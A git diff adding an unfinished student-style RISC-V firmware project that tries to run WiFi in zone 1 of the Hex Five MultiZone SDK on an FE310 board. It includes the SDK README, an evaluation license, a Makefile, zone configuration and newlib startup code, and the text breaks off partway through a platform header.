diff --git a/multizone_wifi/.gitignore b/multizone_wifi/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..10e837bbd5ee6b5b3ec44275093f0a0b6701c1c9 --- /dev/null +++ b/multizone_wifi/.gitignore @@ -0,0 +1,142 @@ +### https://github.com/github/gitignore/blob/master/Global/Eclipse.gitignore + +.project +.metadata +bin/ +tmp/ +*.tmp +*.bak +*.swp +*~.nib +local.properties +.settings/ +.loadpath +.recommenders + +# External tool builders +.externalToolBuilders/ + +# Locally stored "Eclipse launch configurations" +*.launch + +# PyDev specific (Python IDE for Eclipse) +*.pydevproject + +# CDT-specific (C/C++ Development Tooling) +.cproject + +# CDT- autotools +.autotools + +# Java annotation processor (APT) +.factorypath + +# PDT-specific (PHP Development Tools) +.buildpath + +# sbteclipse plugin +.target + +# Tern plugin +.tern-project + +# TeXlipse plugin +.texlipse + +# STS (Spring Tool Suite) +.springBeans + +# Code Recommenders +.recommenders/ + +# Annotation Processing +.apt_generated/ + +# Scala IDE specific (Scala & Java development for Eclipse) +.cache-main +.scala_dependencies +.worksheet + + +### https://github.com/github/gitignore/blob/master/C.gitignore + +# Prerequisites +*.d + +# Object files +*.o +*.ko +*.obj +*.elf + +# Linker output +*.ilk +*.map +*.exp +*.lst + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +#*.a libhexfive*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex + +# Debug files +*.dSYM/ +*.su +*.idb +*.pdb + +# Kernel Module Compile Results +*.mod* +*.cmd +.tmp_versions/ +modules.order +Module.symvers +Mkfile.old +dkms.conf + + +### https://github.com/github/gitignore/blob/master/Java.gitignore + +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +#*.jar multizone.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* \ No newline at end of file diff --git a/multizone_wifi/LICENSE b/multizone_wifi/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..07be854eead4389c22d54ab659b9b6ab20c524fb --- /dev/null +++ b/multizone_wifi/LICENSE @@ -0,0 +1,139 @@ + HEX FIVE SECURITY, INC. + SOFTWARE EVALUATION AGREEMENT + +THE TERMS AND CONDITIONS CONTAINED HEREIN CONSTITUTE A LEGAL AGREEMENT. +THIS AGREEMENT ("AGREEMENT") CONTAINS THE ENTIRE AGREEMENT BETWEEN YOU +LICENSEE ("YOU") AND HEX FIVE SECURITY, INC. ("HEX FIVE") WITH RESPECT TO +THE TERMS AND CONDITIONS DESCRIBED HEREIN. READ THIS AGREEMENT CAREFULLY. +BY DOWNLOADING/INSTALLING THE PRODUCT, YOU ACKNOWLEDGE THAT (1) YOU ARE +AUTHORIZED TO ENTER THIS AGREEMENT FOR AND ON BEHALF OF YOUR COMPANY, AND +ARE DOING SO, AND (2) YOU HAVE READ AND UNDERSTAND AND AGREE THAT YOU AND +THE COMPANY SHALL BE BOUND BY THESE TERMS AND CONDITIONS AND ALL +MODIFICATIONS AND ADDITIONS PROVIDED FOR + +Software products included with this product that are not Hex Five +products are licensed to you by the software provider. Please refer to +the license contained in the provider's product for the terms of use +before using such products. + +1. License Grant. Hex Five grants you a limited, non-exclusive, non- + transferable license to use, for non-commercial, non-production + evaluation purposes only, the Hex Five software program(s), known as + MultiZone(TM) Security (the "Software") and related product documentation at + no charge subject to the terms and restrictions set forth in this License + Agreement. You are not permitted to use the Software in any manner not + expressly authorized by this License. You acknowledge and agree that + ownership of the Software and all subsequent copies thereof regardless of + the form or media are held by Hex Five. + +2. Term of Agreement. Your license is effective until terminated by Hex + Five (at Hex Five's sole discretion and without notice). The License will + terminate automatically if you fail to comply with any of the limitations + or other requirements described herein. At termination you shall cease + all use of the Software and destroy all copies, full or partial of the + Software. + +3. Ownership Rights. The Software and related documentation are protected + by United States copyright laws and international treaties. Hex Five, + third party component providers and open source component providers own + and retain all right, title and interest in and to the Software and + related documentation, including all copyrights, patents, trade secret + rights, trademarks and other intellectual property rights therein. + +4. Use of Name and Trademarks. You shall not use the name, trade names or + trademarks of Hex Five or any of its affiliates in any advertising, + promotional literature or any other material, whether in written, + electronic or other form without express written permission of Hex Five. + +5. Restrictions. + (A) You may not rent, lease, lend, redistribute or sublicense the + Software. You may not copy the Software except to make archival or backup + copies, provided that the backup copy must include all copyright or other + proprietary notices contained on the original. You may not copy the + related product documentation. You may not modify, reverse engineer, + decompile, or disassemble the Software, except to the extent the + foregoing restriction is expressly prohibited by applicable law. You may + not publish any results from tests using the Software without the express + written permission of Hex Five. + + (B) Certain components of the Software are provided under various Open + Source licenses that have been made available to Hex Five. You may modify + or replace only these Open-Sourced Components; provided that (i) the + resultant Software is used in place of the unmodified Software, on a + single computer; and (ii) you otherwise comply with the terms of this + License and any applicable licensing terms governing use of the Open- + Sourced Components. Hex Five is not obligated to provide any maintenance, + technical or other support for the resultant Software. + + (C) This license is strictly for non-commercial, non-production + evaluation purposes. You agree and acknowledge that you may not use the + Software for any commercial purpose whatsoever. + +6. Feedback. You agree that any feedback or ideas you provide to us + regarding any Software or any suggested improvements thereto (together, + the "Feedback") will be the exclusive property of Hex Five. To the extent + you own any rights in the Feedback, you agree to assign and hereby do + assign to us all right, title and interest in and to the Feedback. You + agree to perform all acts reasonably requested by us to perfect and + enforce such rights, including without limitation executing copyright + assignments. We will reimburse you for direct out of pocket costs + incurred in complying with our requests. + +7. Exclusion of Warranties. THE SOFTWARE IS PROVIDED TO LICENSEE "AS IS", + AND ANY USE BY LICENSEE OF THE SOFTWARE WILL BE AT LICENSEE'S SOLE RISK. + HEX FIVE MAKES NO WARRANTIES RELATING TO THE SOFTWARE AND EXPRESSLY + DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT + LIMITATION THOSE OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + +8. Limitation of Liability. IN NO EVENT SHALL HEX FIVE BE LIABLE FOR ANY + INCIDENTAL, SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES WHATSOEVER, + INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF PROFITS, LOSS OF DATA, + BUSINESS INTERRUPTON OR ANY OTHER COMMERCIAL DAMAGES OR LOSSES, ARISING + OUT OF OR RELATED TO YOUR USE OR INABILITY TO USE THE HEX FIVE SOFTWARE, + HOWEVER CAUSED, REGARDLESS OF THE THEORY OF LIABILTY (CONTRACT, TORT OR + OTHERWISE) AND EVEN IF HEX FIVE HAS BEEN ADVISED OF THE POSSIBILITY OF + SUCH DAMAGES. + +9. Governing Law, Dispute Resolution. This Agreement is governed by the + law of the State of California, U.S.A., without reference to conflict of + laws principles. The application of the United Nations Convention of + Contracts for the International Sale of Goods is expressly excluded. + Venue for any disputes shall be in the state and federal courts located + in San Jose, California. + +10.No Export. You agree not to export, directly or indirectly, the + Software or any components thereof to any country for which the U.S. + Government or any agency thereof at the time of export requires an export + license or other government approval without first obtaining such license + or approval. + +11.Assignment/Transfers. You may not assign or transfer this Agreement, + in whole or in part, without Hex Five's prior written consent. Any + attempted assignment or transfer in violation of this Section will be + null and void. + +12.Third Party Acknowledgements. + (A) Aspects of the Software utilize or include third party software and + other copyrighted material. Acknowledgements, licensing terms and + disclaimers for such material are available when accessing the Software + on the Hex Five website, and your use of such material is governed by + their respective terms. + (B) The Software includes certain software provided under various Open + Source licenses. You may obtain complete machine-readable copies of the + source code and licenses for the Open Source software at the Hex Five + Open Source website (https://www.hex-five.com/oslicenses). Open Source + Software is distributed WITHOUT ANY WARRANTY, without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE + +13.Severability. If any provision of this Agreement is held invalid, + illegal or unenforceable, the validity, legality and enforceability of + any of the remaining provisions of this Agreement shall not in any way be + affected or impaired. + +14.Entire Agreement. This Agreement is the entire agreement between you + and Hex Five concerning the Software and all related documentation and + supersedes any other prior or contemporaneous agreements or + communications with respect to the Software and related documentation, + whether written or oral. + + diff --git a/multizone_wifi/Makefile b/multizone_wifi/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..d020befb975aba6523914c2822779dfd7a1c4ef4 --- /dev/null +++ b/multizone_wifi/Makefile @@ -0,0 +1,101 @@ +# Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved + +############################################################# +# Platform definitions +############################################################# +BOARD ?= FE310 +OPENOCD ?= ~/riscv-openocd-20200613 +RISCV ?= ~/riscv-gnu-toolchain-20200613 + +ifeq ($(BOARD), FE310) + ARCH := rv32 + RISCV_ARCH := $(ARCH)imac + RISCV_ABI := ilp32 +else + $(error Unsupported board $(BOARD)) +endif + +############################################################# +# Arguments/variables available to all submakes +############################################################# + +export BOARD +export RISCV_ARCH +export RISCV_ABI + +############################################################# +# Toolchain definitions +############################################################# + +ifndef RISCV +$(error RISCV not set) +endif + +export CROSS_COMPILE := $(abspath $(RISCV))/bin/riscv64-unknown-elf- +export CC := $(CROSS_COMPILE)gcc +export OBJDUMP := $(CROSS_COMPILE)objdump +export OBJCOPY := $(CROSS_COMPILE)objcopy +export GDB := $(CROSS_COMPILE)gdb +export AR := $(CROSS_COMPILE)ar + +############################################################# +# Rules for building multizone +############################################################# + +.PHONY: all +all: clean + $(MAKE) -C zone1 + $(MAKE) -C zone2 + java -jar multizone.jar \ + --arch $(BOARD) \ + --config bsp/$(BOARD)/multizone.cfg \ + zone1/zone1.hex \ + zone2/zone2.hex + +.PHONY: clean +clean: + $(MAKE) -C zone1 clean + $(MAKE) -C zone2 clean + rm -f multizone.hex + +############################################################# +# Load to flash +############################################################# + +ifndef OPENOCD +$(error OPENOCD not set) +endif + +OPENOCD := $(abspath $(OPENOCD))/bin/openocd + +OPENOCDCFG ?= bsp/$(BOARD)/openocd.cfg +OPENOCDARGS += -f $(OPENOCDCFG) + +GDB_PORT ?= 3333 +GDB_LOAD_ARGS ?= --batch +GDB_LOAD_CMDS += -ex "set mem inaccessible-by-default off" +GDB_LOAD_CMDS += -ex "set remotetimeout 240" +GDB_LOAD_CMDS += -ex "set arch riscv:$(ARCH)" +GDB_LOAD_CMDS += -ex "target extended-remote localhost:$(GDB_PORT)" +GDB_LOAD_CMDS += -ex "monitor reset halt" +GDB_LOAD_CMDS += -ex "monitor flash protect 0 64 last off" +GDB_LOAD_CMDS += -ex "load" +GDB_LOAD_CMDS += -ex "monitor resume" +GDB_LOAD_CMDS += -ex "monitor shutdown" +GDB_LOAD_CMDS += -ex "quit" + +.PHONY: load + +ifeq ($(BOARD),FE310) + +load: + echo "loadfile multizone.hex\nrnh\nexit\n" | JLinkExe -device FE310 -if JTAG -speed 4000 -jtagconf -1,-1 -autoconnect 1 + +else + +load: + $(OPENOCD) $(OPENOCDARGS) & \ + $(GDB) multizone.hex $(GDB_LOAD_ARGS) $(GDB_LOAD_CMDS) + + +endif diff --git a/multizone_wifi/README.md b/multizone_wifi/README.md new file mode 100644 index 0000000000000000000000000000000000000000..d37fe7df861b4fac47322d6bde7069a7938ee319 --- /dev/null +++ b/multizone_wifi/README.md @@ -0,0 +1,199 @@ +# Multizone mit wifi + +Bei dieser Software wurde probiert, das Wifi-Programm in Zone 1 der Multizone SDK zu implementieren. +Leider ist diese Software nicht funktionsfähig. +In dieser Version wurden größtenteils Änderungen an der es32.c und der multizone.cfg vorgenommen. +Manchmal wurde die gewünschte Seite in Chrome geladen, allerdings spätestens nach dem Klicken des Buttons, kam es zu einem "Load access fault : 0x00000005 0x20013ef8 0x00000000". +Aus zeitlichen Gründen, konnte das nicht weiter bearbeitet werden. + + +# multizone-sdk +MultiZone® Security TEE for RISC-V processors + +**MultiZone® Security** is the quick and safe way to add security and separation to RISC-V processors. MultiZone software can retrofit existing designs. If you don’t have TrustZone-like hardware, or if you require finer granularity than one secure world, you can take advantage of high security separation without the need for hardware and software redesign, eliminating the complexity associated with managing a hybrid hardware/software security scheme. RISC-V standard ISA doesn't define TrustZone-like primitives to provide hardware separation. To shield critical functionality from untrusted third-party components, MultiZone provides hardware-enforced, software-defined separation of multiple equally secure worlds. Unlike antiquated hypervisor-like solutions, MultiZone is self-contained, presents an extremely small attack surface, and it is policy driven, meaning that no coding is required – and in fact even allowed. + +MultiZone works with any 32-bit or 64-bit RISC-V standard processors with Physical Memory Protection unit and U mode. + +This version of the GNU-based SDK supports the following hardware: +- [Digilent Arty A7 Development Board (Xilinx Artix-7 FPGA)](https://www.xilinx.com/products/boards-and-kits/arty.html) +- [SiFive HiFive1 Rev B (Freedom E310 SoC)](https://www.sifive.com/boards/hifive1-rev-b) +- [Microchip Icicle Kit (PolarFire SoC)](https://www.microsemi.com/existing-parts/parts/152514) + +The Arty FPGA Evaluation Kit works with the following softcore bitstreams: + +- [Hex Five X300 RV32ACIMU - Permissive open source. No license required.](https://github.com/hex-five/multizone-fpga) +- [SiFive E31 RV32ACIMU - Proprietary. SiFive license required.](https://www.sifive.com/cores/e31) +- [SiFive S51 RV64ACIMU - Proprietary. SiFive license required.](https://www.sifive.com/cores/s51) + +The Xilinx Arty FPGA comes in two versions: 35T and 100T + +- Hex Five's X300 bitstream works with version 35T +- SiFive's bitstreams up to v19.02 work with version 35T +- SiFive's bitstreams after v19.02 work with version 100T + +For instructions on how to upload the bitstream to the ARTY board and how to connect the [Olimex debug head ARM-USB-TINY-H](https://www.olimex.com/Products/ARM/JTAG/ARM-USB-TINY-H/) see [Arty FPGA Dev Kit Getting Started Guide](https://sifive.cdn.prismic.io/sifive%2Fed96de35-065f-474c-a432-9f6a364af9c8_sifive-e310-arty-gettingstarted-v1.0.6.pdf) + + +### MultiZone SDK Installation ### + +The MultiZone SDK works with any versions of Linux, Windows, and Mac capable of running Java 1.8 or greater. The directions in this readme have been verified with fresh installations of Ubuntu 20.04, Ubuntu 19.10, Ubuntu 18.04.5, and Debian 10.5. Other Linux distros are similar. Windows developers may want to install a Linux emulation environment like Cygwin or run the SDK in a Linux VM guest (2GB Disk, 2GB Ram) + +**Linux prerequisites** + +``` +sudo apt update +sudo apt install make default-jre gtkterm libhidapi-dev libftdi1-2 +``` +Ubuntu 18.04 LTS additional dependency + +``` +sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu/ focal main universe" +sudo apt update +sudo apt install libncurses-dev +``` +Note: GtkTerm is optional and required only to connect to the reference application via UART. It is not required to build, debug, and load the MultiZone software. Any other serial terminal application of choice would do. + +**GNU RISC-V Toolchain** + +Hex Five reference build: RISC-V GNU Toolchain Linux 64-bit June 13, 2020 +``` +cd ~ +wget https://hex-five.com/wp-content/uploads/riscv-gnu-toolchain-20200613.tar.xz +tar -xvf riscv-gnu-toolchain-20200613.tar.xz +``` + +**OpenOCD on-chip debugger** + +Hex Five reference build: RISC-V openocd Linux 64-bit June 13, 2020 +``` +cd ~ +wget https://hex-five.com/wp-content/uploads/riscv-openocd-20200613.tar.xz +tar -xvf riscv-openocd-20200613.tar.xz +``` +Note: the SiFive HiFive1 board doesn't support OpenOCD and requires the Segger propietary package JLink_Linux_V694_x86_64.deb downloadable at [https://www.segger.com/downloads/jlink/](https://www.segger.com/downloads/jlink/). + +**Linux USB udev rules** + +``` +sudo vi /etc/udev/rules.d/99-openocd.rules + +# Future Technology Devices International, Ltd FT2232C Dual USB-UART/FIFO IC +SUBSYSTEM=="tty", ATTRS{idVendor}=="0403",ATTRS{idProduct}=="6010", MODE="664", GROUP="plugdev" +SUBSYSTEM=="usb", ATTR{idVendor} =="0403",ATTR{idProduct} =="6010", MODE="664", GROUP="plugdev" + +# Olimex Ltd. ARM-USB-TINY-H JTAG interface +SUBSYSTEM=="tty", ATTRS{idVendor}=="15ba",ATTRS{idProduct}=="002a", MODE="664", GROUP="plugdev" +SUBSYSTEM=="usb", ATTR{idVendor} =="15ba",ATTR{idProduct} =="002a", MODE="664", GROUP="plugdev" + +# SiFive HiFive1 Rev B00 - SEGGER +SUBSYSTEM=="tty", ATTRS{idVendor}=="1366",ATTRS{idProduct}=="1051", MODE="664", GROUP="plugdev" +``` +Reboot for these changes to take effect. + +**MultiZone Security SDK** + +``` +cd ~ +wget https://github.com/hex-five/multizone-sdk/archive/master.zip +unzip master.zip +mv multizone-sdk-master multizone-sdk +``` + +### Build & load the MultiZone reference application ### + +Connect the target board to the development workstation as indicated in the user manual. + +'ls multizone-sdk/bsp' shows the list of supported targets: X300, FE310, E31, S51, PFSOC. + +Assign one of these values to the BOARD variable - default is X300. + +``` +cd ~/multizone-sdk +export RISCV=~/riscv-gnu-toolchain-20200613 +export OPENOCD=~/riscv-openocd-20200613 +export BOARD=X300 +make +make load +``` +Note: With some older versions of the ftdi libraries, the first "make load" after powering the board may take a bit longer than it should. If you don't want to wait, the simple workaround is to reset the FPGA board to abort the openOCD session. If you do this, make sure to kill the openocd process on your computer. Subsequent loads will work as expected and take approximately 10 seconds. + +Important: make sure that switch SW3 is positioned close to the edge of the board. + +Important: open jumper JP2 (CK RST) to prevent a system reset upon UART connection. + + + +### Run the MultiZone reference application ### + +Connect the UART port (ARTY micro USB J10) as indicated in the user manual. + +On your computer, start a serial terminal console (GtkTerm) and connect to /dev/ttyUSB1 at 115200-8-N-1 + +Hit the enter key a few times until the cursor 'Z1 >' appears on the screen + +Enter 'restart' to display the splash screen + +Hit enter again to show the list of available commands + +``` +===================================================================== + Hex Five MultiZone® Security + Copyright© 2020 Hex Five Security, Inc. - All Rights Reserved +===================================================================== +This version of MultiZone® Security is meant for evaluation purposes +only. As such, use of this software is governed by the Evaluation +License. There may be other functional limitations as described in +the evaluation SDK documentation. The commercial version of the +software does not have these restrictions. +===================================================================== +Machine ISA : 0x40101105 RV32 ACIMU +Vendor : 0x0000057c Hex Five, Inc. +Architecture : 0x00000001 X300 +Implementation: 0x20181004 +Hart id : 0x0 +CPU clock : 64 MHz +RTC clock : 16 KHz + +Z1 > Commands: yield send recv pmp load store exec dma stats timer restart + +Z1 > +``` + +### Technical Specs ### +| | +|---| +| Up to 8 hardware threads (zones) hardware-enforced, software-defined | +| Up to 8 memory mapped resources per zone – i.e. flash, ram, rom, i/o, etc. | +| Scheduler: preemptive, cooperative, round robin, configurable tick | +| Secure interzone communications based on messages – no shared memory | +| Built-in support for secure shared Timer interrupt | +| Built-in support for secure shared PLIC interrupt | +| Built-in support for secure DMA transfers | +| Built-in trap & emulation for all privileged instructions – CSRR, CSRW, WFI, etc. | +| Support for secure user-mode interrupt handlers mapped to zones – up to 32 sources PLIC / CLIC | +| Support for Wait For Interrupt and CPU suspend mode for low power applications | +| Formally verifiable runtime ~2KB, 100% written in assembly, no 3rd-party dependencies | +| C library wrapper for protected mode execution – optional for high speed / low-latency | +| Hardware requirements: RV32, RV32e, RV64 cpu with Memory Protection Unit and U extension | +| System requirements: 6KB FLASH, 4KB RAM - CPU overhead < 0.01% | +| Development environment: any versions of Linux, Windows, Mac running Java 1.8 | + + +### Additional Resources ### + +- [MultiZone Reference Manual](http://github.com/hex-five/multizone-sdk/blob/master/manual.pdf) +- [MultiZone Datasheet](https://hex-five.com/wp-content/uploads/2020/01/multizone-datasheet-20200109.pdf) +- [MultiZone Website](https://hex-five.com/multizone-security-sdk/) +- [Frequently Asked Questions](http://hex-five.com/faq/) +- [Contact Hex Five http://hex-five.com/contact](http://hex-five.com/contact) + + +### Legalities ### + +Please remember that export/import and/or use of strong cryptography software, providing cryptography hooks, or even just communicating technical details about cryptography software is illegal in some parts of the world. So when you import this software to your country, re-distribute it from there or even just email technical suggestions or even source patches to the authors or other people you are strongly advised to pay close attention to any laws or regulations which apply to you. Hex Five Security, Inc. and the authors of the software included in this repository are not liable for any violations you make here. So be careful, it is your responsibility. + +MultiZone and HEX-Five are registered trademarks of Hex Five Security, Inc. + +MultiZone technology is patent pending US 16450826, PCT US1938774. + + diff --git a/multizone_wifi/bsp/FE310/memory.lds b/multizone_wifi/bsp/FE310/memory.lds new file mode 100644 index 0000000000000000000000000000000000000000..d47013fa824fbd01c5020634aa32d5388768ebb3 --- /dev/null +++ b/multizone_wifi/bsp/FE310/memory.lds @@ -0,0 +1,5 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ + +flash = 0x20010000; +itim = 0x20010000; /* ITIM 0x0800_0000 8K */ +dtim = 0x80000000; /* DTIM 0x8000_0000 16K */ \ No newline at end of file diff --git a/multizone_wifi/bsp/FE310/memory.ods b/multizone_wifi/bsp/FE310/memory.ods new file mode 100644 index 0000000000000000000000000000000000000000..779f947b85a1ea1609e28b35705ff7dfef39c0fc Binary files /dev/null and b/multizone_wifi/bsp/FE310/memory.ods differ diff --git a/multizone_wifi/bsp/FE310/multizone.cfg b/multizone_wifi/bsp/FE310/multizone.cfg new file mode 100644 index 0000000000000000000000000000000000000000..80c521df5d1e09334d93df8fdd029c477a8c86eb --- /dev/null +++ b/multizone_wifi/bsp/FE310/multizone.cfg @@ -0,0 +1,22 @@ +# Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved + +# MultiZone reserved memory: 6K @0x20010000, 6K @0x80000000 + +Tick = 0 # ms + +Zone = 1 + irq = 3 # DMA + irq = 16,17,18,19, 20, 21, 22,23,24,25,26,27,28,29,30,31 # BTN0 BTN1 BTN2 (CLINT) + plic = 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 # UART + base = 0x20012000; size = 32K; rwx = rwx # FLASH + base = 0x80001800; size = 32K; rwx = rwx # RAM + base = 0x10000000; size = 0x30000; rwx = rwx # UART und mehr + # base = 0x10024000; size = 0x100; rwx = rw # GGG + # base = 0x10025000; size = 0x100; rwx = rw # PWM LED + # base = 0x10012000; size = 0x100; rwx = rw # GPIO + # base = 0x10000000; size = 0x12100; rwx = rw # +Zone = 2 + + base = 0x2006A000; size = 8K; rwx = rwx # FLASH + base = 0x80038000; size = 2K; rwx = rwx # RAM + diff --git a/multizone_wifi/bsp/FE310/newlib/crt0.S b/multizone_wifi/bsp/FE310/newlib/crt0.S new file mode 100644 index 0000000000000000000000000000000000000000..97b61f270389c5c6ff953392a810898cbfb6d71f --- /dev/null +++ b/multizone_wifi/bsp/FE310/newlib/crt0.S @@ -0,0 +1,67 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ + + .section .init + .globl _start + .type _start,@function + +_start: + .cfi_startproc + .cfi_undefined ra +.option push +.option norelax + la gp, __global_pointer$ +.option pop + la sp, _sp + + /* Load data section */ + la a0, _data_lma + la a1, _data + la a2, _edata + bgeu a1, a2, 2f +1: + lw t0, (a0) + sw t0, (a1) + addi a0, a0, 4 + addi a1, a1, 4 + bltu a1, a2, 1b +2: + + /* Clear bss section */ + la a0, __bss_start + la a1, __bss_end + bgeu a0, a1, 2f +1: + sw zero, (a0) + addi a0, a0, 4 + bltu a0, a1, 1b +2: + + + /* Call global constructors */ + la a0, __libc_fini_array + call atexit + call __libc_init_array + + auipc ra, 0 + addi sp, sp, -16 + sw ra, 8(sp) + + /* argc = argv = 0 */ + li a0, 0 + li a1, 0 + call main + tail exit + +1: j 1b + + .cfi_endproc + + .global _init + .type _init, @function +_init: ret + .size _init, .-_init + + .global _fini + .type _fini, @function +_fini: ret + .size _fini, .-_fini diff --git a/multizone_wifi/bsp/FE310/newlib/newlib.c b/multizone_wifi/bsp/FE310/newlib/newlib.c new file mode 100644 index 0000000000000000000000000000000000000000..b8d38debf875fb6aa88da579b663f345e3dfbfae --- /dev/null +++ b/multizone_wifi/bsp/FE310/newlib/newlib.c @@ -0,0 +1,120 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ + +#include <stdlib.h> +#include <unistd.h> +#include <string.h> +#include <sys/stat.h> + +#include <platform.h> + +// ---------------------------------------------------------------------------- +int _close(int file) { +// ---------------------------------------------------------------------------- + + return -1; +} + +// ---------------------------------------------------------------------------- +int _fstat(int file, struct stat *st) { +// ---------------------------------------------------------------------------- + + st->st_mode = S_IFCHR; + return 0; +} + +// ---------------------------------------------------------------------------- +void * _sbrk(int incr) { +// ---------------------------------------------------------------------------- + + extern char _end[]; + extern char _heap_end[]; + static char *_heap_ptr = _end; + + if ((_heap_ptr + incr < _end) || (_heap_ptr + incr > _heap_end)) + return (void *) -1; + + _heap_ptr += incr; + return _heap_ptr - incr; +} + +// ---------------------------------------------------------------------------- +int _isatty(int file) { +// ---------------------------------------------------------------------------- + + return (file == STDIN_FILENO || file == STDOUT_FILENO || file == STDERR_FILENO) ? 1 : 0; + +} + +// ---------------------------------------------------------------------------- +int _lseek(int file, off_t ptr, int dir) { +// ---------------------------------------------------------------------------- + + return 0; +} + +// ---------------------------------------------------------------------------- +int _open(const char* name, int flags, int mode) { +// ---------------------------------------------------------------------------- + + if (strcmp(name, "UART")==0){ + + UART_REG(UART_DIV) = CPU_FREQ/115200-1; + UART_REG(UART_TXCTRL) = 0b01; + UART_REG(UART_RXCTRL) = 0b01; + UART_REG(UART_IE) = 0b10; // RX irq + + return 0; + + } + + return -1; +} + +// ---------------------------------------------------------------------------- +int _read(int file, char *ptr, size_t len) { +// ---------------------------------------------------------------------------- + + if (isatty(file)) { + + ssize_t count = 0; + int rxfifo = -1; + + while( count<len && ((rxfifo = UART_REG(UART_RXFIFO)) >0) ){ + *ptr++ = (char)rxfifo; + count++; + } + + return count; + } + + return -1; +} + +// ---------------------------------------------------------------------------- +size_t _write(int file, const void *ptr, size_t len) { +// ---------------------------------------------------------------------------- + + if (isatty(file)) { + + const uint8_t * buff = (uint8_t *)ptr; + + for (size_t i = 0; i < len; i++) { + + while (UART_REG(UART_TXFIFO) & 0x80000000){;} + + UART_REG(UART_TXFIFO) = buff[i]; + + if (buff[i] == '\n') { + while (UART_REG(UART_TXFIFO) & 0x80000000){;} + UART_REG(UART_TXFIFO) = '\r'; + } + } + + return len; + + } + + return -1; +} + +// open("UART", 0, 0); write(1, "Ok >\n", 5); char c='\0'; while(1) if ( read(0, &c, 1) >0 ) write(1, &c, 1); diff --git a/multizone_wifi/bsp/FE310/newlib/newlib.mk b/multizone_wifi/bsp/FE310/newlib/newlib.mk new file mode 100644 index 0000000000000000000000000000000000000000..348e55359d3d6f738c3097c3bebc2dec14a6d28b --- /dev/null +++ b/multizone_wifi/bsp/FE310/newlib/newlib.mk @@ -0,0 +1,52 @@ +# Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved + +.PHONY: all +all: $(TARGET) + +ASM_SRCS += $(NEWLIB_DIR)/crt0.S +C_SRCS += $(NEWLIB_DIR)/newlib.c + +INCLUDES += -I$(PLATFORM_DIR) + +LDFLAGS += -T $(PLATFORM_DIR)/memory.lds +LDFLAGS += -T $(LINKER_SCRIPT) +LDFLAGS += --specs=nano.specs +LDFLAGS += --specs=nosys.specs +LDFLAGS += -nostartfiles +LDFLAGS += -Xlinker --gc-sections + +ASM_OBJS := $(ASM_SRCS:.S=.o) +C_OBJS := $(C_SRCS:.c=.o) + +LINK_OBJS += $(ASM_OBJS) $(C_OBJS) +LINK_DEPS += $(LINKER_SCRIPT) + +CLEAN_OBJS += $(TARGET) $(LINK_OBJS) + +CFLAGS += -march=$(RISCV_ARCH) +CFLAGS += -mabi=$(RISCV_ABI) +CFLAGS += -mcmodel=medlow +CFLAGS += -msmall-data-limit=8 +CFLAGS += -ffunction-sections -fdata-sections +CFLAGS += -g3 -Os + +HEX = $(subst .elf,.hex,$(TARGET)) +LST = $(subst .elf,.lst,$(TARGET)) +CLEAN_OBJS += $(HEX) +CLEAN_OBJS += $(LST) + +$(TARGET): $(LINK_OBJS) $(LINK_DEPS) + $(CC) $(CFLAGS) $(INCLUDES) $(LINK_OBJS) -o $@ $(LDFLAGS) + $(OBJCOPY) -O ihex $(TARGET) $(HEX) --gap-fill 0x00 + $(OBJDUMP) --all-headers --demangle --disassemble --file-headers --wide -D $(TARGET) > $(LST) + +$(ASM_OBJS): %.o: %.S $(HEADERS) + $(CC) $(CFLAGS) $(INCLUDES) -c -o $@ $< + +$(C_OBJS): %.o: %.c $(HEADERS) + $(CC) $(CFLAGS) $(INCLUDES) -c -o $@ $< + +.PHONY: clean +clean: + rm -f $(CLEAN_OBJS) + diff --git a/multizone_wifi/bsp/FE310/platform.h b/multizone_wifi/bsp/FE310/platform.h new file mode 100644 index 0000000000000000000000000000000000000000..2ded117e223951acbdbce69704fec354a653a269 --- /dev/null +++ b/multizone_wifi/bsp/FE310/platform.h @@ -0,0 +1,135 @@ +/* Copyright(C) 2020 Hex Five Security, Inc. - All Rights Reserved */ + +#ifndef HEXFIVE_PLATFORM_H +#define HEXFIVE_PLATFORM_H + +#define FE310 + +#define CPU_FREQ 16000000 +#define RTC_FREQ 32768 + +// ----------------------------------------------------------------------------- +// RTC (CLINT) +// ----------------------------------------------------------------------------- +#define CLINT_BASE 0x02000000 + +#define CLINT_MSIP 0x0000 +#define CLINT_MTIMECMP 0x4000 +#define CLINT_MTIME 0xBFF8 + +// ----------------------------------------------------------------------------- +// UART0 +// ----------------------------------------------------------------------------- +#define UART_BASE 0x10013000 + +#define UART_TXFIFO 0x00 +#define UART_RXFIFO 0x04 +#define UART_TXCTRL 0x08 +#define UART_RXCTRL 0x0c +#define UART_IE 0x10 +#define UART_IP 0x14 +#define UART_DIV 0x18 + +// ----------------------------------------------------------------------------- +// PWM1 +// ----------------------------------------------------------------------------- +#define PWM_BASE 0x10025000 + +#define PWM_CFG 0x00 +#define PWM_COUNT 0x08 +#define PWM_S 0x10 +#define PWM_CMP0 0x20 // PWM Period +#define PWM_CMP1 0x24 // LED Red +#define PWM_CMP2 